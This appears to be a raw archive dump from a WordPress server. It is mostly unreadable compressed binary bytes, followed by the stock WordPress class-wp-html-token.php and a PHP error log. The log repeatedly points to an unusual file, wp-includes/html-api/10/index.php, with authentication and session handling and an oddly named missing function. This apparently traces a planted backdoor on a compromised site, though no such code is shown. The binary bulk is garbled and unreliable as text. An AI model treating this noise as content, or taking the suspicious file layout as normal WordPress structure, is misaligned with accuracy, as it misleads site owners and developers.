���eu5f~z��'Ⲫ;�hy�N�����Rakn/^��Z��&C=���AܺlSe����Z�8˦��@[������<�w�%,��F:���.��Ջ�<2�s��#�V]o@���+,ܹ��c�\���}T�-Œ��/=���n�p�ü�7�2��W�-�ե�垫���,7�^
���C��J~�c�h��zS��{|��:�T�F�I�����X���ZWW�F��YlW>�9���&.*���#��6��b
R5�s��+S��`.sk�-{�d�{����z�����	Pզ6U��H���;\8�Z����ȹ�΀E�4݋�a�	,��hw{����[mө��`��dp�b�	o��~�@�Mw��0�)���kB���M:��ٽ̸���g��7�z�W+�*+ 33�qq��ll��DCkQ�&���!f���l����b���%�{&�sxw@C;1XD�{`Q�f��J��U�M.�g��{rp��g��^G�^���'�)�����6Ig�3�/��Nmv/�k~���G�Q+��y9TQ"�
9x5�3Ns�\�LP!�W���]Jx�����wrp�]�����7�T|BŢ�y��ztE�����9-��|7<�;�,ʜ$��2�+�����s
���b8Fnʱi��+�E+�������E�/C	��Y����vH���E+U����Z�����ϏuDv�G�+�Ck��܉�Gd>�j�֖k~�$X	������U�`%������o�TUV�.�V�-�3w�b/	�@�+E:'.VDRЛ�m�[dO�1�1�`1���]�F�p�ӆ�[��Wf /�P�����Z��ل�Ԁwl�GΆ"��]��{㵋E�)�Kg<��&�e�Űz���6�{�e:�-�(��y�&��I��;�Ʈ"�Ă��LtG-��
̋��D�L����#"�����\�����x��ԓu��>����%�e�'.�kf����\98A���S�-�k�{�q{�d��<_0�>����.��PpAKf�ֺKV5��I>LƯ���|�%y����{+���C�;��P��$N\��<��Q�>�C�i5��k(3^-�c�μ��x����P�L(�m��U�v�q��N�I�n��$��e�K�m
�w'��U��=�
x(�	�0��
D�������24w���7�L��V
u@S!�&�rC�b�|��UB�oxWgU�ƒ�N� �p��{��;��i�r�ϝi�J�(�{zpr�M��N��=㟴3頦}��O�(�>�'�n?)��p~�I�U!F�M��������Y�c���d�cR �����OL2��Y��`��@���a���w����/�����I��5�Fj�أ	7��ݵ�U`�'�/l5S.'^�-��y��P�k�v��M�%��G4����!״���h�x_؀'8u��M�M ^� �t)�Ő�PE�!���Э�z��`Pp`�_������L��?�7pd�l�N���!���AJKd]�x�(���^�=���1}�,;���y]�p��ɱ�%��:'H�`�R�I�Q���|kkH��x�:VU�a.�іasbr�M(;�UB�1�fH����
gd��1�����3�|{�2�������1����b������S��:4����R�bY�:ڶ�_m4���'2�ҽ����pB�qR����d%��-��d�m��z��,�?R�aN��9�t��*dZ���� �˯0��'�Kg�8=''A��5�D�
�j�*{p��r��0_Ugm7+�b^4V�K��6y���뮗v�+��?��+@<	�[��m�e�kF<{^(�a�4�����+��e?�tb���>q�Hm�]��..�ԫ�o���e2��O��R�_8�Ii]��A�/��A��s��C<�y��`��ĎX�P��l�$H{է��t�A*��K�b���gp\r{as'�x����Xf���Y�6̼˅7�����Ļ��l�p��0
I�����R���ժ2=�x�<NU���ZC����_~�;���
��F{�qmE%?�dVф7Ў)s�#��T�cY�p�ل�4��b��!?�-���f`:ĸ�s���W6�+r�U)���I@��p���]&�u���UWz�c���W�l�/t�U�íZ�~�V�0V�p��ő��従�Wu�/���Wx饽�sh�Q��E��Y�އ�2�D�`���A��Ĺ	@#}���`��~�˄	/�4%�mMƐJ]t'��k�!G�q	��'o��,�q���&�ʢ`��熉�<x����}�%Ɗv�T,1W������IVS����wB*��m�dn�/�G.�Q˽9�EI`\��c�i_��~��[Y����LKܪ'�*�-�7��W'��=�c�S#�)[���×�0j��e�n� ���z+N��a�X�'@��[��U��ӸA+�w�qq�x2�d>w�,�"�Α�mqwᫍ���΀���@jv�g3̕��BW�m�v�=Z�409�t��8��U�����t�P���\����ŧKa�y�Ѿo�������~���ElB*�-F�G������Lu�r�D�0���{�s0�^ �μˬ�7rHM��_y��\Qg)Q�PA$�I��g�b>)�8��,�H�v�����YY�!H3=39���;)'�,�g�%l�A��V�u�N�.�I!)�U�*00����[�'�\�<��
B���<�E�*y��tw��B�����70��,�2����.��j��I빷�%t>4򘄸o0�?Be�����&9����dގG���zz�)�e
��[z.N����伩�>�
�I�d�����&)��K�,���w�]��8CHkh��_��Q^�f54=5�փQ:��WZ��#|�}}��1V?>O��Ǖoi`�<}SoA;�_�ڍ�@<&%�)�m"��ON��P�4'
m�U���u6z�4O�߇g�v��`�"c�T��>�X?��/���8��������e�6Ʒ4x�e�M��x�]��~Wiu>ʲ$<���o�Ɓo��^�۳�߄�
�4~�m��$���o/b�pO�F�@�o��7�����E��q��q���}B�C�b.����j�,�^�5��4��*�8����?�|M��
0G�A�C�k�5_����Ӭi�x�LG��;ŧ�/g��l��	���;����]��;k��3~�#�׉=?�R�Q���/�x��`�m���k��QSK~n��W�F�s�F��$�/]��f�I��T�_�5N"(��H�ۦ3Ɂ����R&J��H���g!�Zqj�Q��YV_�S)�=���ʙ�gmϻg��K��>��j"�&^q۲�KR�q�v,�K���:7˕�vF�'�|���q��0�!&WB��*o�/Q�����
oGc�S|�C��u���|d^��M��<�c�Ց���x4h>R#hʪ�`׋&~�9���	c�!�U[���k�/���y}���2Ƀ��W����+�n��v__�/�|��df��]�)�78+Q�-q������y�ͮ��E�{`��xx��������������'�4GF�5�K�8ȻJ��)R)���:�i6���^{J�_&!^��6�3;�&x�*p��*��_}O�*m�W��a���C~�x��,�d6�e��~b�晼�Z ���	A<ǘ�y��O��%4^Ry�pG��Ccҍ����{����p�~�C����������,�:ߵ6�r�^�ۡ�PR�����1}R����$���6����k�P���m���W�$.�C���ҫ@�a]���U�S]���D!аzC��~��������{��
rM�U߇���E��I@(�����]���	��[��?,�ҫ��[��a�:�C�9x�o�UZ!s�BgmS��)�����s��j�Bޝ�;��51���Y@��o�[_�C�"{�դ;|�{~Ui�	�jׄ�!�m����}Aq)���MW�N����6|�M���-����x-ޠ+�3����U�o�}ﵾ^�zn럲lO�Ӹo�fo2<�'m_�vM��������^mQ���^F���+n����N^څ�_nDo-��i����7��	�(�m
7�W�6aK��$�7������QD�k_�i�>����Āֿۢ9����k�b�슢��P���,�<��A%BW|6ȗ�u�bo(�/�
I�3�qnM��&AP��uLj$�G��#W�0��Qv�L�r�� �_j{�
�-V
��+�Qm%�
3=S��2ĥdg�������+�q��8�R��G��K�h��dr�/|�γlx��@89��h)��(*D�l��7�����1�X�BΞ��Crʟd�n���\6̒�\�MG�xS���C�1g ���O	5J&
jfo�id�k�>�|�����?	?^�%���!�N���fq6�Q:���$LI�SXm����^�T�c�����&_�y�F����T`�3b#��4�I��n�j�����լ!��/LL�]*b�&#�ָ���p(�]�R5��{	���
�d
~�:-�R7���˱���N�m����J��<:&���9�ڡqAΉZK��o�؊kj�����׳8�u^���.���I��ט�L)r�,��u���F��p�Q�*������ݾt�ׯ�B~DxnR䩒R�W{א��fu�HF��O3	��?��k?��b��OŸ���$aܘ�뵿9n���8����7�+��}�2z�)'e�I�3�E�Oc�`O��	
ǽ�J��4�S��Q�̲��%q�d2��憁�ȟ��&y�����S�P��T�tx�)���G�`��f��|i���	&���g�����DLk��F�+L�Vm���[	�"��!���Z�'[�{y�|<��ѡ���=<�����4D~b��,���ʕ���n���uw�\�o�>�r�C�y
͆2�dx���:d��C�o��c3�A2E�c�B	5�H"�Fr�rj��36����΍a�����Ѕ�a5\Ru}&��~�ٓh��P�����k�	 \�.,��^F�lo6��#��8E�i=��Y�DG5��Ν��>7b�nso����u��?duj���p4��.��K3�2����J�d�Dw�d٭�%)Qm���7�5��R�M��(s?��E?*?IM��4	Mu,����.�siؓ~�y�~��WwK
6���B\���M���s����[��r�)#��҄548:>8y�����'�TE�M�<z����z��;�9�+�KZ���W"H=|c5R;�����(�8;�%݊�L]Hǜ���'�+�N��E%�L`f֦H��0@c�
�<j�\�J_k��p�s���8�>���Ԣ�6k(fB�z�� vb��Ƶ������D��q�����c8���N��ȫ9-ڍ���/��>�'yo�g$.���c�4	�a|}46�=�||d�:�g��$�Q���A�M��2�#�_��d"2칓����RF4�{�@"S�Ш;��ΰ@����?�nm�smʶ�î��3b� �))��s��Pt���⪘�*Y��4ץ�Mp�$>lg�(��,L��:�.f��6-%c�-����� ���yD�(,&ΎIewxI�C�c�A�c
�n:�+
Е�v��_i�-7��) ��m��=�CN/+[Gg>������4�$����`d���Ӓ�I[PI���#a�*SS�>֦[n5րכX��ڛ��P���z���y��{��5o����x�s��{7��J��MF�)�������X��
1�R�v���T���2 �{���(6�K���l�Hn!���C���/��[J!�U.��]��]��A%
�aTnZ�p7�$E�-�
&�����h���赭$����ق�j-�8��Ά��tH�r��aeIt�+I�����T�
v�|8f�8���-�'�gpW��gH�B_�H5�HeP)�9�-vƞ8FLyD��� �t�>2OP�7�d��!�%�h�)�D2�h���J�Z�aw	�[�vf�Xt���f�9#C�M�g�*;�SΕ/Đ�!J�Y�h�k�\�	q�]%�@�6�/��V�Y]�c�6�8��k��L)9o}��1QQ, 1!�|�f%]��m0m���k�h��fc��H�E�r�Z�r
�E/�����PX)��mmպ_[й�^�=�E9�S
8����v��f�dd\~��w$�}�f��v��x,�dy�������?����:���a����R�燝�\Ƴf����J��o,1w�,�F��^ve�z�t9��1�,�Y�i�Ó޷O�z���a�D�&���Y.*O��)��d6&,oH�m��%�f����4J�l-��oll+Sa���>�����鎤��!�-܂�n:n�	s�c��+�G�W������N����k�F�Ҩц>
�@�~���w��><�v-�i����3A�L���9�#T�jOĥ(��(F<&^+sW
I�ieS�<��j+3H�FYs[�@�?�ҘB��_F`�ռw��A�LR�+ȉ~ lT�=o�G�Q�	^+�;ܺ�_��T��{c������S���.��L5�n��	�� f5s�<X`��!Cشlv��$jjw����B�K�0..���9���6i]f���&:)yh�p�c�~�q�����f�l�m�.�����$�4�28Î��$j
���b�Y}|���Ӄ���9��B��T�V�b4�f��S���R#Z��I�+<�筻�1������`��)��*{2̣U�d�a�Ԥw,W]��Nb�ZY�pU�@��t=,$I+�G�~�5�����p���u@kђ����i��G��%%^��,p�:V�4�@y����|�.������)
{r���r�������=y�U��9�������[�ݪVH�O0(j6�VPó�I;7��˘IJ*X�T[M��jb�46a��(
u(�E�<..����U�2���$����ά*S�}�H0�N�Vl�����W(;���,�zD�<��6;�c��Jjd\0����g���|���*��9رP�jì��>����@=Y�2���,OL9�F��+�(�"x�zW*_�Zܢ�r|�{�7��1X�NIyƤN�M2�FcN�
�Q���+�?߀�U:QYG�oVS|��sM3�ef���&7���މ�W/iW ��ҍ�$
v
$9��'�o�]}�D���v�)�[<X~!<&6ښ�~l)9��}��k]��d���XL\�$�K4RLč��d¾6)
�"�M����bLĈ�����DL9ΰZA\ �=b4���V�/Re�����1�n�d�2�uT1�K�˃�$�RNJ��䠃�C^Ɠ��:J��Fvy#ݤ��<���SI�:��@a^GaQ��Lw�Yo���=���)o�CA�T�*U�yҪjѝ�T��h��7I=Wo�^B˷X�Tu�����S,��~����ѣ�w��ֲ�qӭ�M>�i��[mf;ڕ<n�@i��=��>:�{r�_>}v�䛃�Ʒ���5�A
�����#l���2��6���*ؿJ���9j����� �e~Űvo��q�=˨_��Ȇ���	K�m��7h��=�!��}��u�&�D�@
�f1��4�� SG|�	
~�p<��t�XŚ���������J�+h�b�,ݔL
�tP�g�Z~B �m��[C,�'�:Ѧ4z��(�gˆ�c��`vw�)��W�i~�	E0c/Ix��	<�NWڷj�a|���b��`Fe-�)�'+H��9�c�E���5��u�P��B{�ݷH0�U7B����cO�p�#ce6�P�B��D�`�KVp�r��	�v�ދT*ڇ��������K}��|H����W�����T�%����R��2�Q���4@���ė̡�VuB
��•-Do�A�ښ��ʂ��'�����&���@
焨r6;HN�"9��yR�y�����&u�~
1bɕ=bH�ntg�n�ԛu"S�W�|ƚR&����z�	�`���DJ��_/���P.G!o�5g;�w̄0U��&��td�C�#��E'\e�
M�]�yX5<@���n���L�hS�ʪ֫u�
8��!�S�_�8L�aNҚ�"�f��P;e�Dvu<���5��w69o��\�e��+x����yժ��g9l�H��O�~���sx�Y��UwCQg��w}0����4YjC�l[�	N~ �㓝���L~�5�8Jy獿ڻ��l���{.Z
$<2�"���Z
����L=��°���?�[��������9�8��$x�I9�}�l�"|����މf����+&$n�rЉ�..u��P�(���6T��Z"�íc�֢*���y�B����9y������zg<IG����Q�#��`p���B����n߂��sj;c�j�4L�v��}�M{o�U��7k�AO��Zx��Z�Rf��4�RG�Y��2�S�{�N=M������Q��z����ʈ���)���h��
�]�Wc�G��Z׊ON��JF+l�
*,k�Xi��1g�"6��*��[Fο�j��h��F�v��w���3y�@h���)&��[�|<�
������Š6�T����+��:3�m]�h+d�Ԥd�J���	7|~E`�
��=�x�����'vב�����?b��'������GϬrb'Gl�w]���L��9
�Ǣ���FW����@�el������[@;i}F{Mh�'�`#�I�'��05�(��v-nߤ�C�>��y͖V���dI�L�#V���rc�9�>�Z�eH�ŒD/����jk�u�s�g׆���G�8�GIR-Q�ڃ&(q:�^?�v+?%e
�+l���55��#vFF=�Wy�bdeg�������AJAL	ʮ&��&��\�0i��(<_�Zb��B���tK<bP ��	.�(�ǐ�
X&ߥ{�Y\���F�c�x��{떭�I&�n^�4Q[�M*��5M�`��O

>��qFlD�
8Q���Er��M�H��
�!z�y�A��7��W�$�{���`�����*����+�z3\�l������{��{����E[;o�����/�T��}�yvx��'ժ�T=����~dž��G:�u5H����!��(#�X�dZɒ��}��Eݿv��#l:J$g�X�`*�AL��a�x~�F�d��P��4�v�U�xH^t�N�"���وQ$��#�IF*�D�>V��njѲ#��2��ʖ058��G�����b���R6ͱ�o�["ݫ1[I�f��Nc2�Tt�mkDn����rN��Ӫ�
Z�N��6g��,���Z$<��hXCR�,�����#r���A4�	���T�oƿ���G9Cc�dU�Z��є��sqJY�Zy�-u$o"�l�wP�����@�I��D&C�?�C��+9s�߹�8��N����a��w�π�^-C�ݵ��Q�f���&(e����pG��m4B�	}�u���BE|a��m0a�ʦ�^S�z۷�к�I�����-
����1Q2V���-U.Et�ZyE�VU�|�:Õx)��(I�L�xĈ��Y><��7O�rT����
ũ��t�t�,�pb��Ҳ�i{��*�u�Ni�
3�%S�gL?2d����E�~B�X��?�@��d����4��7�X��XL}��r<"�^�5ʻ�p����K���)8=x󙾹��S�[�۸'(�lؒAzz�'F�g�$���!.�e��#��֏����G;(�~��%V�ȳQSw̸Q��+�0�?���]������%����5��k��7����
���ه�G�hM;ڄ�6��M�h:ڄ�6��M�h:ڄ�6��M�h:ڄ�6��M�h�Q��osV�|�33�&��]M{�|�07�^��0ë����<�\�^�zON�l�����@�'p��jy�5�y��MX�]W�S���-$P-�-��U��lR'v�}�V�X�%oΤ�c�oL6NK�#�Ǒt�?]���ug�˼�v^�����4C�B�B�0m��1s'���0	tʍE3�<���~����Nլ"#K4��gԜ�o���A�n[)����d��e���I���
:��")z�u�+����>@�>������d�+5��?�Ie[�_Y�|������)�AGh%NEG%ɇF��R@q�e{����w}�����F#F[?\��~�����V+� 0MьM_S�¨��P%�mO��62!Ȝ_�$P�]Fn��
�������ڄ�Ct��Tˆ�W����,�"F7��̜�ɺ�Oǯ<R��4�V�d�
n���8Ǝ�v�(�T�az�Y���7������E�f�?0/bN?%���B��qó�U��G�t؊�w����'�!�=��:���}���e&�L��G!��q$�c�6���vB���D���
?;˝��YU&��n)�`}� ��u��{���j�S=UL�EQ�`2Ȃ�8�fh��C�x���@�@�*U�`Р�s�"� ���(?q�
���;��6�C���Z4�]��7��8eб�)����0���E)$�!`��[M�
���>�0���#�ckS�S�U�MJ�	�R�G��~��[�Ŏ$�_�jGEc�G<�\}��$6�Ю�mVv�ph]aoӲ�>S}u����?���Wv`.;����s��SƲ��a���e�[�{�4}Ď{G8�H:�$a�DW�5�ȍ�I]���<f�u[f�3
�1{���(�0u�K:��2����+xP��]���}�C��w��n�o�'8������s�ť�!p�Y�^H�a��+���<���Hx�:1�6�5�,�@��E���t�q���r���;�y8�뱳��c6�s!�W����5��gZ��ϛ�yW���g����G�Y�伯~��J"|kO�:�4����w�!`���@&b�c���A��P[�]�t
�>���*��<v�˨�U}������h��
��7c<�Ӟa?�1�/����Ű �62#51�n�xc����w��w�{R��F,(y$W��k酷��&���~��㽓��ٺ4'�=f`���

��g_�x��Ѣ��ȫP�8r�Q[��=^@7�)��UX$.���K�o�����4��NE�X�uf��5�Ngl��"��<W-�a�$f��!��C(��M �P��Y�]@���Kl�����R�;0�I�C|{,�$�>:n�N��	t�j<M��f����U���+?�IU���s��U!�P�jBp��W�mb��'�~�WD�WD��
�����j��НM�'�3%�Ź��
�,B{��\+Cw�X�/�ʊP�Mr�}5��0�'Ԩ�ժ^����ߙ��2=/��^�~@Y0�� SL�����*�F���
}���E�G:���@�o��E�0d��Y�7z�������s��	���zf�I�X���g�O+bRE��������{����(	ǧWh��TU}odY�b�g��
'1��#G�X>Ȧ�Fx�Vy��}�.I��#p8͊��<)s�b�NAT!�J��%��+��<�|b��UxQ�w(�ٓFT�1-
H��!m�E{&m�!r�0��(zLX�T���K�#45SYp�:�r�����
GBק��-�sk9Ù��F�v>4�]�r�N�m*tL�`>	Q̋#�Ws=���<�!�"	f�8��d��hn��LMA)��ɔ�'v�(T\���r�����%��?��BI	|l��/��
7�M&��먭���%dw
΍�aa��e/�kb9
�D��,�MŢ��bm)LD��e�:��v�s`l�蜱(,�mq�#�N�`k��&����X,�]O
�3�����"J:[����r�%+�q��2Y�����i!�C9�0�X�j�b��$��Vn�>*���K�=��Gy=+��Oƻ�H��_��k1����㿍0nn�����r��ɲf"����?��ݿ��?�ß��p�����[�����ݫ�`���v���L�>pTu>�py�#��uzͯ%�$�N1`Z$q��o���rR-)4ߺն��6Ƴ)_[L/I)�u�a�s���͖�;��N����h��Ê�+~L�ZO�Ɵ��<��,L�)���1�g����ki��J��;�!�p*�^v~�r�#B����Wɰ3
of�[�����!Ѭ��v�{�N7vZ�3Kw';(�G	k�}x��""�����
�#�<��;�%��SG>�ZTD����0���Vn��\fӈ�VK�e��J|}����q�)����^�P�L=����U���VH�~L������ʞ�T����ў��[`$/�f�6a�����MyP�m�_��I���U���cO��x%I�:W���W��ii���=n�쯯��.�ݓ�V�45�Fh+@��C���]&�xr:��/�ak���أ
{3�o�̰���;�Y�:d��8H9�!�8N�M���A�H�Zٍ彛Q���q~��ݹ3v�ѹ��2l
���z6P�E[5�
��h��N�m4wx�s&P�(8��Ν�{������l`�����YVnk�����ڌ�o�m;�����Z.�ҐǢ�T�����3��ĥ�&�����R��^1)��f��9[:�Mh=��ܦ���3F��PșyI1�_L��Q��իg��Ѧ��z�SO�)lp��z4���{��q z�;�ա.c%���	�g��'j�h���D��Yg�-jv�a=J��tr���(6�+U���ΰhǔ՝K�SR
HJ���tL�<u]���v��I�4�Tw�b��[�}C�9GGq��@�+�;��C�=52F��)���q%�ZT�R2Q�G�ICd�(Y�	�X� p��׼4D���s���4������C���m:+����\�wI��Ir�Q��qT�74�p�0�kt����B�5�b�r~�_�Wynk4���<:&m�I����ݡ��6���ƌ�@�ߌ��*NIɕ}x�;5���z!�R��.��uR����{z�G��V�ť�kSH%F/(Cg&�
�4<i(�ث�P�	���
��=>��i��g{��}1]*p����%9��l��u���Z5�ԝ�ĩ(+Jfp��pSk�D
�EKڭ���+P�~[��ٓ���vW�Ihc':4������A����k*[����*�qx� b)đ�0F��C�<��J:b��g�4Mq����(W��i��p4��9��㙭�(��bxg�!+5�	�
rG��BG\�֦�%�Y�0�C���z��F�M@��
�7��sJ���ز�~]��նnx=&f������I�Pb�6�$�M�1�a��7�u�0{�<mUM}��INE��&��d6�Q��e�(�{��ɫ��5����y�b���V�����O]�$W#�S�����@�x*'�������:�Vעg�1�So`�HS$+.����ȝ�5��g���&j�ok������"ř>�n�*��\��ԑA\^�uG�:���e�r@�Ly�>��
?���<����\�������2�Z��oo�@�]�s��H&q2i
�̋I��Xո����R�Y�|ā.�R��`�Yo⨅n$3��mY��J��iy��m��	��)�I���P\)y�!�)
����W<y���)�Tr��������Ϟ��4���=��bҫk��l�	����`���z��v��n]M�gi��j��l,��s��޹_��5]=r',5�-T�9�����Q�A�`'I��sg��4��a5|���1隤����P��$+��s.
1��f�^��N�:�H��f�8�� -T��Ԙl��{b����T�^������)]w�����+6+s�>�}s����1���`���.�j�ś|�l3&�b���B�uU�f,�8,ܠ���?�����-�O����B߯$���Ǎ�����Ϟ}�����6W�~�&L�Zy�DP.06���iۛ���\�[����V��Ʀ�CC�F�M���1�w%oÃ�iDf���;�/9G��t6�N��LB��OQs�i���0o#U,/8S���~��{w3 ;|�{X�>ATew�W��<ͺ���Ua��j<��q�F{�5�#�V!0�\�*��U��$a�7�<�Dm��ao�����ɉq�2�쮳2kZ�8���R���+�����s�)�:�t���Ò��ur�w������@���|ȏ���KL_�Z��;���zn���ټ.��;�߽�ixG1��1�:�F�X&�S��"^7�������D�0;}�#'c�����):�Z9+Rs����?y~�W@��)s��l�N��j�x��ŝm�`�N���i�.�ZuL]uИ�=êW�C�{���*�����Ӷ���z�%�s����֔e��f����0E=!��n��&����=xzp|�����ۅ�T�&|?�I��W��|�8����<}x��{���5�veh��9�������K�Oa��n�������?����U?�?g���VPKgN\��J�class-wp-html-token.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/class-wp-html-token.php000064400000006522151440277720022105 0ustar00<?php
/**
 * HTML API: WP_HTML_Token class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.4.0
 */

/**
 * Core class used by the HTML processor during HTML parsing
 * for referring to tokens in the input HTML string.
 *
 * This class is designed for internal use by the HTML processor.
 *
 * @since 6.4.0
 *
 * @access private
 *
 * @see WP_HTML_Processor
 */
class WP_HTML_Token {
	/**
	 * Name of bookmark corresponding to source of token in input HTML string.
	 *
	 * Having a bookmark name does not imply that the token still exists. It
	 * may be that the source token and underlying bookmark was wiped out by
	 * some modification to the source HTML.
	 *
	 * @since 6.4.0
	 *
	 * @var string
	 */
	public $bookmark_name = null;

	/**
	 * Name of node; lowercase names such as "marker" are not HTML elements.
	 *
	 * For HTML elements/tags this value should come from WP_HTML_Processor::get_tag().
	 *
	 * @since 6.4.0
	 *
	 * @see WP_HTML_Processor::get_tag()
	 *
	 * @var string
	 */
	public $node_name = null;

	/**
	 * Whether node contains the self-closing flag.
	 *
	 * A node may have a self-closing flag when it shouldn't. This value
	 * only reports if the flag is present in the original HTML.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#self-closing-flag
	 *
	 * @var bool
	 */
	public $has_self_closing_flag = false;

	/**
	 * Indicates if the element is an HTML element or if it's inside foreign content.
	 *
	 * @since 6.7.0
	 *
	 * @var string 'html', 'svg', or 'math'.
	 */
	public $namespace = 'html';

	/**
	 * Indicates which kind of integration point the element is, if any.
	 *
	 * @since 6.7.0
	 *
	 * @var string|null 'math', 'html', or null if not an integration point.
	 */
	public $integration_node_type = null;

	/**
	 * Called when token is garbage-collected or otherwise destroyed.
	 *
	 * @var callable|null
	 */
	public $on_destroy = null;

	/**
	 * Constructor - creates a reference to a token in some external HTML string.
	 *
	 * @since 6.4.0
	 *
	 * @param string|null   $bookmark_name         Name of bookmark corresponding to location in HTML where token is found,
	 *                                             or `null` for markers and nodes without a bookmark.
	 * @param string        $node_name             Name of node token represents; if uppercase, an HTML element; if lowercase, a special value like "marker".
	 * @param bool          $has_self_closing_flag Whether the source token contains the self-closing flag, regardless of whether it's valid.
	 * @param callable|null $on_destroy            Optional. Function to call when destroying token, useful for releasing the bookmark.
	 */
	public function __construct( ?string $bookmark_name, string $node_name, bool $has_self_closing_flag, ?callable $on_destroy = null ) {
		$this->bookmark_name         = $bookmark_name;
		$this->namespace             = 'html';
		$this->node_name             = $node_name;
		$this->has_self_closing_flag = $has_self_closing_flag;
		$this->on_destroy            = $on_destroy;
	}

	/**
	 * Destructor.
	 *
	 * @since 6.4.0
	 */
	public function __destruct() {
		if ( is_callable( $this->on_destroy ) ) {
			call_user_func( $this->on_destroy, $this->bookmark_name );
		}
	}

	/**
	 * Wakeup magic method.
	 *
	 * @since 6.4.2
	 */
	public function __wakeup() {
		throw new \LogicException( __CLASS__ . ' should never be unserialized' );
	}
}
PKgN\�,�n�n�	error_lognu�[���[13-Dec-2025 10:10:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[13-Dec-2025 10:10:45 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[13-Dec-2025 10:10:45 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[13-Dec-2025 10:10:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[13-Dec-2025 10:10:45 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:16 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:16 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:16 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 05:54:16 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:16 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Undefined variable $ext in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1178
[14-Feb-2026 05:54:22 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1193
Stack trace:
#0 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1193
[14-Feb-2026 05:54:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:25 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:25 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
